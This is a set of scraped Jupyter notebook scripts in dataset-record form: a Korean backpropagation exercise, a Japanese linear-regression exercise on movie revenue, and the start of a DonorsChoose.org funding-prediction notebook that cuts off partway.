np.random.randn(input_size, hidden_size)\n self.params['b1'] = np.zeros(hidden_size)\n self.params['W2'] = weight_init_std * np.random.randn(hidden_size, output_size) \n self.params['b2'] = np.zeros(output_size)\n \n # 계층 생성\n self.layers = OrderedDict() #신경망의 계층을 순서가 있는 딕셔너리에 보관한다.\n self.layers['Affine1'] = Affine(self.params['W1'], self.params['b1'])\n self.layers['Relu1'] = Relu()\n self.layers['Affine2'] = Affine(self.params['W2'], self.params['b2'])\n \n self.lastLayer = SoftmaxWithLoss()\n \n def predict(self, x):\n for layer in self.layers.values():\n x = layer.forward(x)\n \n return x\n\n # x : 입력 데이터, t : 정답 레이블\n def loss(self, x, t):\n y = self.predict(x)\n return self.lastLayer.forward(y, t)\n \n def accuracy(self, x, t):\n y = self.predict(x)\n y = np.argmax(y, axis=1)\n if t.ndim != 1 : t = np.argmax(t, axis=1)\n \n accuracy = np.sum(y == t) / float(x.shape[0])\n return accuracy\n \n # x : 입력 데이터, t : 정답 레이블\n def numerical_gradient(self, x, t):\n loss_W = lambda W: self.loss(x, t)\n grads = {}\n grads['W1'] = numerical_gradient(loss_W, self.params['W1'])\n grads['b1'] = numerical_gradient(loss_W, self.params['b1'])\n grads['W2'] = numerical_gradient(loss_W, self.params['W2'])\n grads['b2'] = numerical_gradient(loss_W, self.params['b2'])\n return grads\n \n def gradient(self, x, t):\n # forward\n self.loss(x, t)\n \n # backward\n dout = 1\n dout = self.lastLayer.backward(dout)\n \n layers = list(self.layers.values())\n layers.reverse()\n for layer in layers:\n dout = layer.backward(dout)\n \n # 결과 저장\n grads = {}\n grads['W1'], grads['b1'] = self.layers['Affine1'].dW, self.layers['Affine1'].db\n grads['W2'], grads['b2'] = self.layers['Affine2'].dW, self.layers['Affine2'].db\n \n return grads\n\n\n# + [markdown] id=\"F3_kPySSySl1\" colab_type=\"text\"\n# 오차역전파법을 적용한 신경망을 구현했다.\n\n# + [markdown] id=\"P8knsS3HyZFw\" colab_type=\"text\"\n# ### **5.7.3 오차역전파법으로 구한 기울기 검증하기**\n\n# + id=\"mL7QxyQAxCo-\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 400} outputId=\"d7c7d4fc-6f2a-4d10-e31c-35ab095f5257\"\nimport sys, os\nsys.path.append(os.pardir) # 부모 디렉터리의 파일을 가져올 수 있도록 설정\nimport numpy as np\nfrom dataset.mnist import load_mnist\nfrom two_layer_net import TwoLayerNet\n\n# 데이터 읽기\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)\n\nnetwork = TwoLayerNet(input_size=784, hidden_size=50, output_size=10)\n\nx_batch = x_train[:3]\nt_batch = t_train[:3]\n\ngrad_numerical = network.numerical_gradient(x_batch, t_batch)\ngrad_backprop = network.gradient(x_batch, t_batch)\n\n# 각 가중치의 절대 오차의 평균을 구한다.\nfor key in grad_numerical.keys():\n diff = np.average( np.abs(grad_backprop[key] - grad_numerical[key]) )\n print(key + \":\" + str(diff))\n\n# + [markdown] id=\"6OzhpH7Zz2j6\" colab_type=\"text\"\n# 기울기를 검증하는 코드를 구현했다.\n#\n# ___\n#\n# 기울기를 구하는 방법에는 수치 미분을 써서 구하는 방법과 해석적으로 수식을 풀어 구하는 방법이 있다. 후자인 해석적 방법은 오차역전파법을 이용하여 매개변수가 많아도 효율적으로 계산할 수 있었다.\n#\n# 수치 미분은 느리지만 구협이 쉽고 버그가 숨어 있기 어렵기 때문에 오차역전파법을 정확히 구현했는지 확인하기 위해 필요하다. \n#\n# 이처럼 두 방식으로 구한 기울기가 일치함을 확인하는 작업을 기울기 확인이라고 한다. \n\n# + id=\"fxaHXC2WziCz\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 400} outputId=\"95b63d20-c7e7-4f2e-9333-14a4ddc45901\"\nimport sys, os\nsys.path.append(os.pardir)\n\nimport numpy as np\nfrom dataset.mnist import load_mnist\nfrom two_layer_net import TwoLayerNet\n\n# 데이터 읽기\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)\n\nnetwork = TwoLayerNet(input_size=784, hidden_size=50, output_size=10)\n\niters_num = 10000\ntrain_size = x_train.shape[0]\nbatch_size = 100\nlearning_rate = 0.1\n\ntrain_loss_list = []\ntrain_acc_list = []\ntest_acc_list = []\n\niter_per_epoch = max(train_size / batch_size, 1)\n\nfor i in range(iters_num):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n \n # 기울기 계산\n #grad = network.numerical_gradient(x_batch, t_batch) # 수치 미분 방식\n grad = network.gradient(x_batch, t_batch) # 오차역전파법 방식(훨씬 빠르다)\n \n # 갱신\n for key in ('W1', 'b1', 'W2', 'b2'):\n network.params[key] -= learning_rate * grad[key]\n \n loss = network.loss(x_batch, t_batch)\n train_loss_list.append(loss)\n \n if i % iter_per_epoch == 0:\n train_acc = network.accuracy(x_train, t_train)\n test_acc = network.accuracy(x_test, t_test)\n train_acc_list.append(train_acc)\n test_acc_list.append(test_acc)\n print(train_acc, test_acc)\n\n# + [markdown] id=\"4xPXJlD62mYR\" colab_type=\"text\"\n# 오차역전파법을 사용한 신경망 학습을 구현해보았다.\n","repo_name":"chunghyunhee/hands_on_ml_practice","sub_path":"밑바닥부터시작하는_딥러닝/Ch05.ipynb","file_name":"Ch05.ipynb","file_ext":"py","file_size_in_byte":18319,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"25887903847","text":"# # Chap.06 回帰1:映画の興行収入の予測\n\n# ## 6.2 データの前処理\n\n# ライブラリの準備\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_absolute_error\nimport pickle\n# %matplotlib inline\n\n\n# 6-1 データの読み込み\ndf = pd.read_csv('../support/datafiles/cinema.csv')\nprint(df.head(), \"\\n\")\nprint(df.tail())\n\n# 6-2 欠損値の確認\ndf.isnull().any(axis=0)\n\n# 6-3 欠損値の穴埋め\n# 欠損値を平均値で補完して、df2に代入する\ndf2 = df.fillna(df.mean())\n# 穴埋めができているか確認する\ndf2.isnull().any(axis=0)\n\n# 6-4 「SNS2」列と「sales」列の散布図を作成する\ndf.plot(kind='scatter', x='SNS2', y='sales')\n\n# 6-6 特徴量との組み合わせを変えて散布図を作成する\nfor name in df.columns:\n if name == 'cinema_id' or name == 'sales':\n continue\n\n df2.plot(kind='scatter', x=name, y='sales')\n\n# +\n# 6-7 外れ値を削除する\n\n# 外れ値を特定する\nno = df2[(df2['SNS2'] > 1000) & (df2['sales'] < 8500)].index\nprint(df2.loc[no], \"\\n\")\nprint(df2.shape)\n# -\n\n# 該当のインデックスを削除して、df3に代入する\ndf3 = df2.drop(no, axis=0)\nprint(df3.shape)\n\n# 6-16 df3から特徴量の変数xと正解データの変数tに分割する\ncol = ['SNS1', 'SNS2', 'actor', 'original']\nx = df3[col]\nt = df3['sales']\n\n# 6-21 ��ライス構文で特徴量を取り出す\nx = df3.loc[:, 'SNS1':'original']\n\n# 6-22 訓練データとテストデータに分割する\nx_train, x_test, y_train, y_test = train_test_split(\n x, t, test_size=0.2, random_state=0\n)\n\n# ## 6.3 モデルの作成と学習\n\n# 6-24 LinearRegression()関数を使ってモデルを作成する\nmodel = LinearRegression()\n\n# 6-25 fit()メソッドでモデルに学習させる\nmodel.fit(x_train, y_train)\n\n# 6-26 興行収入を予測する\nnew_data = [[150, 700, 300, 0]]\nmodel.predict(new_data)\n\n# ## 6.4 モデルの評価\n\n# 6-27 score()メソッドでモデルのscoreを計算する\nmodel.score(x_test, y_test)\n\n# 6-28 MAEを求める\npred = model.predict(x_test)\nmean_absolute_error(y_pred=pred, y_true=y_test)\n\n# 6-30 モデルを保存する\nwith open ('../models/cinema_model.pkl', 'wb') as f:\n pickle.dump(model, f)\n\n# ## 6.5 回帰式による影響度の分析\n\n# 6-31 係数と切片を確認する\nprint(model.coef_)\nprint(model.intercept_)\n\n# 6-32 列と係数を表示する\ntmp = pd.DataFrame(model.coef_)\ntmp.index = x_train.columns\ntmp\n\n# ## 6.7 練習問題\n\n# Ex.6-1 データの読み込み\ndf = pd.read_csv('../support/datafiles/ex3.csv')\n\n# Ex.6-2 データの先頭・末尾(各5行)を表示する\nprint(df.head(), \"\\n\")\nprint(df.tail())\ndf.shape\n\n# Ex.6-4 欠損値の確認\ndf.isnull().sum()\n\n# 欠損値を中央値で穴埋めする\ndf2 = df.fillna(df.median())\ndf2.isnull().sum()\n\n# EX.6-6 特徴量との組み合わせを変えて散布図を作成する\nfor name in df2.columns:\n if name == 'target':\n continue\n\n df2.plot(kind='scatter', x=name, y='target')\n\n\n# +\n# Ex.6-7 外れ値を削除する\nno = df2[(df['x2'] < -2) & (df2['target'] > 100)].index\nprint(df.loc[no])\nprint(df2.shape, \"\\n\")\n\ndf3 = df2.drop(no, axis=0)\ndf3.shape\n# -\n\n# Ex.6-8 特徴量と正解データの分割\nx = df3.loc[:, :'x3']\nt = df3['target']\n\n# EX.6-9 訓練データとテストデータの分割\nx_train, x_test, y_train, y_test = train_test_split(\n x, t, test_size=0.2, random_state=1\n)\n\n# Ex.6-10 重回帰モデルの作成し、訓練データで学習する\nmodel = LinearRegression()\nmodel.fit(x_train, y_train)\n\n# Ex.6-12 テストデータを使い、決定係数を計算する\nmodel.score(x_test, y_test)\n\n# 列名と係数を表示する\ntmp = pd.DataFrame(model.coef_)\ntmp.index = x_train.columns\ntmp.columns = ['coef']\nprint(tmp)\nmodel.intercept_\n","repo_name":"ginmaruGH/Introduction_to_Machine_Learning_with_Python_Imp","sub_path":"jupyter/ch_06.ipynb","file_name":"ch_06.ipynb","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"6861886052","text":"# + [markdown] colab_type=\"text\" id=\"fnEAWVbiayqt\"\n# # DonorsChoose.org\n# ***\n# Class: CMPE_257 Machine Learning
\n# Team Name: The Seekers
\n# Authors: Vidhi Shah, Sithara KrishnaMurthy, Pragya Gautam, Reetika Goel
\n# ***\n# The Narrative:
There is fantastic saying by Mother Teresa that says “It’s not how much we give but how much love we put into giving.”\n# In this age, technology has made it so much easier for everyone to give and by that it has helped millions of people globally. Donations can be made through a small text message or just a simple click of a button. The team at DonorsChoose.org does an amazing job to support the public education there by bringing classroom dreams to life for teachers and students all over United States. Donorschoose.org is an online charity platform dedicated to supporting K-12 public education in the U.S. Briefly, it is a crowdfunding site where teachers can post or create project requests and where donors can donate and help raise funds to fulfill the teachers’ educational causes.Speaking about statistics, It has already raised $685 million through 3 million people and partners funding 1.1 million DonorsChoose.org projects.\n#

\n# The DataSet:
\n# The data-set we are using here is from below Kaggle Link. We are going to use Donations.csv, Projects.csv and Schools.csv files from it to achieve our goal. Below is a short statistic on the same:
\n# Shape of Donations Data: 4687884 records, 7 features
\n# Shape of Schools Data: 72993 records, 9 features
\n# Shape of Projects Data: 1110017 records, 18 features
\n# Kaggle Link: https://www.kaggle.com/donorschoose/io/home\n#\n# In addition to the above datasets, we are using the SchoolRating.csv dataset, generated by web scraping www.niche.com using BeautifulSoup.\n# We have obtained details of Schools located in California, Texas and NewYork and also Area context details for Texas .
\n# Shape of SchoolRating_TX Data: 8268 records, 11 features
\n# Shape of SchoolRating_CA Data: 9647 records, 11 features
\n# Shape of SchoolRating_NY Data: 4759 records, 11 features
\n# Shape of area_context_texas.csv: 2408 records, 10 features
\n#

\n# The Business Objective:
To support teachers with the generation of donation based on the data available regarding the projects, donations and schools, this notebook contains an exploration of DonorsChoose.org data. A simple prediction model is developed to identify whether a new project will be fully-funded or not. This will surely help the teachers requesting donations to take required measures to have higher chance of their projects being fully funded. We “The Seekers” team, as data scientists/ machine learning engineers are ready to take up the challange to find and help them.
\n#\n# Amalgamation Techniques used:
\n#
    \n#
  • Random Forest
  • \n#
  • XGBoost
  • \n#
  • Extra Trees Classifier

\n# Latent Variable:Duration Project Was Live

\n# Distillations:
    \n#
  • \"The Count of Number of Projects Posted Every Year - Month Wise\"
  • \n#
  • \"The Count of Number of Fully Funded Every Year - Month Wise\"
\n\n# + colab_type=\"code\" id=\"e2s6y1gcVJsh\" outputId=\"aabff05a-a451-4e23-90ad-9b925ebe0886\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914704513, \"user_tz\": 420, \"elapsed\": 5620, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 105, \"output_embedded_package_id\": \"1TGSuaHEnmPeAmgvVa_mGIzAzN-rkE78n\"}\n# import libraries\nimport pandas as pd\nimport numpy as np\nfrom string import Template\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\ncolor = sns.color_palette()\nfrom sklearn.externals.six import StringIO\nfrom IPython.display import Image\nfrom sklearn.tree import export_graphviz\nimport plotly.plotly as py1\nimport plotly.offline as py\npy.init_notebook_mode(connected=True)\nfrom plotly.offline import init_notebook_mode, iplot\ninit_notebook_mode(connected=True)\nimport plotly.offline as offline\noffline.init_notebook_mode()\nfrom matplotlib.pyplot import xticks\n# import pydotplus\n\nfrom sklearn import preprocessing\nfrom sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\nfrom statsmodels.regression.linear_model import OLS\nfrom statsmodels.tools import add_constant\nimport statsmodels.api as sm\nfrom scipy.stats import pearsonr\nfrom scipy.stats import spearmanr\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report, roc_curve\nfrom sklearn import ensemble\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.svm import LinearSVC\npd.options.display.float_format = '{:,.2g}'.format\nfrom collections import Counter\nfrom sklearn import linear_model\nfrom sklearn.naive_bayes import GaussianNB\n\nfrom sklearn.externals.six import StringIO \nfrom IPython.display import Image \nfrom sklearn.tree import export_graphviz\nimport pydotplus\n\nimport xgboost as xgb\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import VotingClassifier\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# + id=\"TbeXP5WHk7Oe\" colab_type=\"code\" colab={}\n# # !pip install --upgrade pandas\n# # !pip install statsmodels -U\n\n# + colab_type=\"code\" id=\"AWioFAx_VR2I\" outputId=\"48581f12-0b53-4ce2-d89f-02511aae32d3\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914715402, \"user_tz\": 420, \"elapsed\": 16448, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\n# !pip install -U -q PyDrive\n\n# + colab_type=\"code\" id=\"eB2UmWBkVazT\" colab={}\nfrom pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nfrom google.colab import auth\nfrom oauth2client.client import GoogleCredentials\n\n# + colab_type=\"code\" id=\"AqOlV_EkVbWs\" outputId=\"29c675e1-a17b-4967-a161-9794114e22bf\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914740731, \"user_tz\": 420, \"elapsed\": 41760, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 122}\nfrom google.colab import drive\ndrive.mount(\"/content/drive\")\n\n# + [markdown] id=\"Py2nIEppbdSj\" colab_type=\"text\"\n# ## **Read CSVs **\n#\n# Authors: @Team\n\n# + colab_type=\"code\" id=\"d2916PPoVioT\" colab={}\n# read csvs\ndf_donations = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Donations.csv\")\ndf_projects = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Projects.csv\")\ndf_schools = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Schools.csv\")\n\n# + id=\"MhtEpUwSdC9a\" colab_type=\"code\" colab={}\ndf_donors = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Donors.csv\")\n\n# + colab_type=\"code\" id=\"SlgMzz--VwKp\" outputId=\"35a573c2-426d-4db6-aa17-334a0d163eb6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914835777, \"user_tz\": 420, \"elapsed\": 136785, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 153}\n# print inital shapes for all csvs\nprint(\"Shape of Donations Data:\",df_donations.shape,'\\n')\nprint(\"Shape of Schools Data:\",df_schools.shape,'\\n')\nprint(\"Shape of Projects Data:\",df_projects.shape,'\\n')\nprint(\"Shape of Donors Data:\",df_donors.shape,'\\n')\n\n# + [markdown] id=\"qX6mUvsM2yIS\" colab_type=\"text\"\n# ## Data Enrichment/Amalgamation using BeautifulSoup and Area Context for Texas dataset\n# \n# * Using the datasets generated by scrapping www.niche.com. \n# * Import the extracted School datasets for Texas, California and NewYork.\n# * Import the Area Context details for Texas location.\n# * Combine the datsets to form a single dataset.\n# * Merge the new combined dataset with the Schools dataset from DonorsChoose.\n# * Combine all the required datasets and extract the desired features for model training.\n#\n#\n# Authors: @Pragya and Reetika\n\n# + id=\"Bpmas2ah4IUG\" colab_type=\"code\" colab={}\ndf_areaTexas = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Data Enrichment 1/area_context_texas.csv\")\n\n# + id=\"q3hd7aiI4Imt\" colab_type=\"code\" outputId=\"dff2dfd2-3905-4547-b2d3-56047a4ba2e4\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914836689, \"user_tz\": 420, \"elapsed\": 137682, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 238}\nprint(df_areaTexas.shape)\ndf_areaTexas.head()\n\n# + id=\"2LcTfCp1XT4h\" colab_type=\"code\" outputId=\"347f79b2-5a67-4d40-9678-7acd284f96ac\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914836690, \"user_tz\": 420, \"elapsed\": 137669, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 204}\ndf_areaTexas.dtypes\n\n# + id=\"Osz9C-F7Xjt1\" colab_type=\"code\" outputId=\"cad0adbc-b1ee-468b-9996-08d0c3a0bf3d\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914836690, \"user_tz\": 420, \"elapsed\": 137651, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 128}\ndf_areaTexas.head(2)\n\n# + id=\"2T4T-NzkiUEd\" colab_type=\"code\" colab={}\ndf_areaTexas_new = (df_areaTexas.groupby(['id'])\n .agg({'Median Household Income': 'mean','Population Density':'sum'})\n .rename(columns={'Median Household Income': 'Median Household Income Mean','Population Density':'Population Density Sum'})\n .reset_index())\n\n# + id=\"P5nIshdemR4J\" colab_type=\"code\" colab={}\ndf_areaTexas_new.rename(columns={'id':'Donor Zip'},inplace=True)\n\n# + id=\"8T1NWLXbTnfi\" colab_type=\"code\" outputId=\"8c4b3304-2e4a-4519-805c-e4647d0d0628\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914839416, \"user_tz\": 420, \"elapsed\": 140354, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nprint(df_donors['Donor Zip'].isnull().sum())\nprint('Replacing AlphaNumeric Zipcodes with NaN.')\ndf_donors['Donor Zip'] = df_donors['Donor Zip'].astype(str).replace('.*[a-zA-Z].*', np.NaN, regex=True)\nprint(df_donors['Donor Zip'].isnull().sum())\nprint('Dropping null values in Zipcode column.')\ndf_donors = df_donors.dropna(subset=['Donor Zip'], axis=0)\nprint(df_donors['Donor Zip'].isnull().sum())\ndf_donors['Donor Zip'] = df_donors['Donor Zip'].astype(float).astype(int)\ndf_donors.shape\n\n# + id=\"hV8ngca7TnlQ\" colab_type=\"code\" outputId=\"571842b5-bcfb-492e-c3a3-1065b3dbc565\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914839581, \"user_tz\": 420, \"elapsed\": 140501, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 238}\n# merged DataFrames\ndf_donors_merged = pd.merge(df_donors, df_areaTexas_new, how='inner', on=['Donor Zip'])\nprint(df_donors_merged.shape)\ndf_donors_merged.head()\n\n# + [markdown] id=\"3jq64NDo0qj5\" colab_type=\"text\"\n# ### Enrich Schools\n# \n# * Using the datasets generated by scrapping www.niche.com. \n# * Enrich School datasets for Texas, California and NewYork.\n#\n# @Author: Sithara and Vidhi\n\n# + id=\"Ww6BXBeK0qG6\" colab_type=\"code\" outputId=\"6ce0defd-9493-46c4-c4c9-b1ccf8f5c679\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840089, \"user_tz\": 420, \"elapsed\": 140992, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 230}\ndf_schoolRatingTX = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Data Enrichment 2/schoolRating_TX.csv\")\ndf_schoolRatingTX.rename(columns={'District': 'School District','State': 'School State' }, inplace=True)\ndf_schoolRatingTX['School State'] = df_schoolRatingTX['School State'].apply(lambda x: 'Texas' if x=='TX' else x)\nprint(df_schoolRatingTX.shape)\ndf_schoolRatingTX.head(2)\n\n# + id=\"R1jD-xmv0p92\" colab_type=\"code\" outputId=\"27d3f868-81b5-46ca-f7f1-57f028729297\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840343, \"user_tz\": 420, \"elapsed\": 141229, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 230}\ndf_schoolRatingCA = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Data Enrichment 2/schoolRating_CA.csv\")\ndf_schoolRatingCA.rename(columns={'District': 'School District', 'State': 'School State'}, inplace=True)\ndf_schoolRatingCA['School State'] = df_schoolRatingCA['School State'].apply(lambda x: 'California' if x=='CA' else x)\nprint(df_schoolRatingCA.shape)\ndf_schoolRatingCA.head(2)\n\n# + id=\"9FXhHLj-0p5L\" colab_type=\"code\" outputId=\"0b5fcd44-ffeb-4b2f-bc6b-a7e451c9bc33\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840709, \"user_tz\": 420, \"elapsed\": 141584, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 230}\ndf_schoolRatingNY = pd.read_csv(\"/content/drive/My Drive/MLSpring2019-Data/theseekers/DataSets/Data Enrichment 2/schoolRating_NY.csv\")\ndf_schoolRatingNY.rename(columns={'District': 'School District', 'State': 'School State'}, inplace=True)\ndf_schoolRatingNY['School State'] = df_schoolRatingNY['School State'].apply(lambda x: 'New York' if x=='NY' else x)\nprint(df_schoolRatingNY.shape)\ndf_schoolRatingNY.head(2)\n\n# + id=\"n4NcrL1-0p2Q\" colab_type=\"code\" outputId=\"9fd7dbe8-7215-44ec-c111-bcc24ebd0c9f\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840710, \"user_tz\": 420, \"elapsed\": 141572, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 230}\nMergeRatings = [df_schoolRatingTX, df_schoolRatingCA, df_schoolRatingNY]\nSchoolRatings = pd.concat(MergeRatings)\nprint(SchoolRatings.shape)\nSchoolRatings.head(2)\n\n# + id=\"XpRiiqAw0py2\" colab_type=\"code\" outputId=\"65a62fcc-eba5-43c3-f9c8-be38bc79ed78\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840711, \"user_tz\": 420, \"elapsed\": 141560, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 221}\nSchoolRatings.isnull().sum()\n\n# + id=\"NUTagxwY0pvn\" colab_type=\"code\" outputId=\"9b36b59d-a006-4aab-ef74-66187133433b\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840858, \"user_tz\": 420, \"elapsed\": 141694, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 318}\n# merged DataFrames\nmerged_Schooldata = pd.merge(df_schools, SchoolRatings, how='inner', on=['School Name', 'School District', 'School State'])\nprint(merged_Schooldata.shape)\nmerged_Schooldata.head(2)\n\n# + id=\"tUhHeq450-Zs\" colab_type=\"code\" outputId=\"d60d830b-bd2f-43be-ddfa-4a2d17c9c6ac\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914840859, \"user_tz\": 420, \"elapsed\": 141684, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\nmerged_Schooldata.isnull().sum()\n\n# + [markdown] id=\"E5sS2B4Ihsik\" colab_type=\"text\"\n# ## Merging Donations + Projects + Schools(Merged with web scrapped - Niche dataset) + Donors(Area Context Texas)\n#\n# Following steps are done for merging and getting the final dataframe:
\n# 1. Get the donations count per donor ID\n# 2. Select target donors with donations count>= 1\n# 3. For all the donors above get all information from donations csv and sort it by donation date desc\n# 4. Drop duplicate values and populate target_donors with only Donor ID\n# 5. Select target projects : First merge target_donors and donations, get unique projects out of it to create target_projects data frame. Finally get all the projects from df_projects that belongs to target_projects\n# 6. Count Total Donation amount for each Donor ID per Project ID\n# 7. Filter the dataframe to get the donations between [1,200] as most of the donors have donated in the same range. We are not considering other donors now to get better classification results\n#\n# @Authors: Vidhi and Sithara\n\n# + colab_type=\"code\" id=\"3IV-fFbfXCe4\" outputId=\"5907a9f5-9012-4f47-9d43-e0f83f21228c\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914849146, \"user_tz\": 420, \"elapsed\": 149959, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 204}\n# Get the donations count per donor ID\ndonations_count = pd.DataFrame(\n df_donations.groupby(\"Donor ID\")['Project ID'].count()\n)\n\ndonations_count.reset_index(inplace = True)\ndonations_count.rename(columns = {'Project ID':'Donations_Count'},\n inplace = True)\ndonations_count.head()\n\n# + colab_type=\"code\" id=\"zDsWJVIkXfJ0\" outputId=\"887134c5-abdb-4fed-f60f-07d64259ce9e\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914879881, \"user_tz\": 420, \"elapsed\": 180684, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 352}\n# Select target donors with donations count>= 2\ntarget_donors = donations_count[donations_count['Donations_Count'] >= 1]\n\n# For all the donors above get all information from donations csv and sort it by donation date desc\n\ntarget_donations = df_donations[df_donations['Donor ID'].isin(target_donors['Donor ID'])]\ntarget_donations = target_donations.sort_values('Donation Received Date', ascending=False)\n\n# Drop duplicate values and populate target_donors with only Donor ID\n\ntarget_donors = target_donations.drop_duplicates('Donor ID', keep='first')['Donor ID']\ntarget_donors = target_donors.to_frame(name='Donor ID').reset_index()\n\n# Select target projects : First merge target_donors and donations, get unique projects out of it to create\n # target_projects data frame. Finally get all the projects from df_projects that belongs\n # to target_projects\n\ntarget_projects = target_donors.merge(target_donations, on='Donor ID')\ntarget_projects = target_projects['Project ID'].unique()\ntarget_projects = df_projects[df_projects['Project ID'].isin(target_projects)]\n\ntarget_projects.head(2)\n\n\n# + id=\"SEWMRx5rgkv8\" colab_type=\"code\" outputId=\"0fda4128-9867-4f3c-8936-2ad7fab2ad1b\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914895566, \"user_tz\": 420, \"elapsed\": 196361, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", 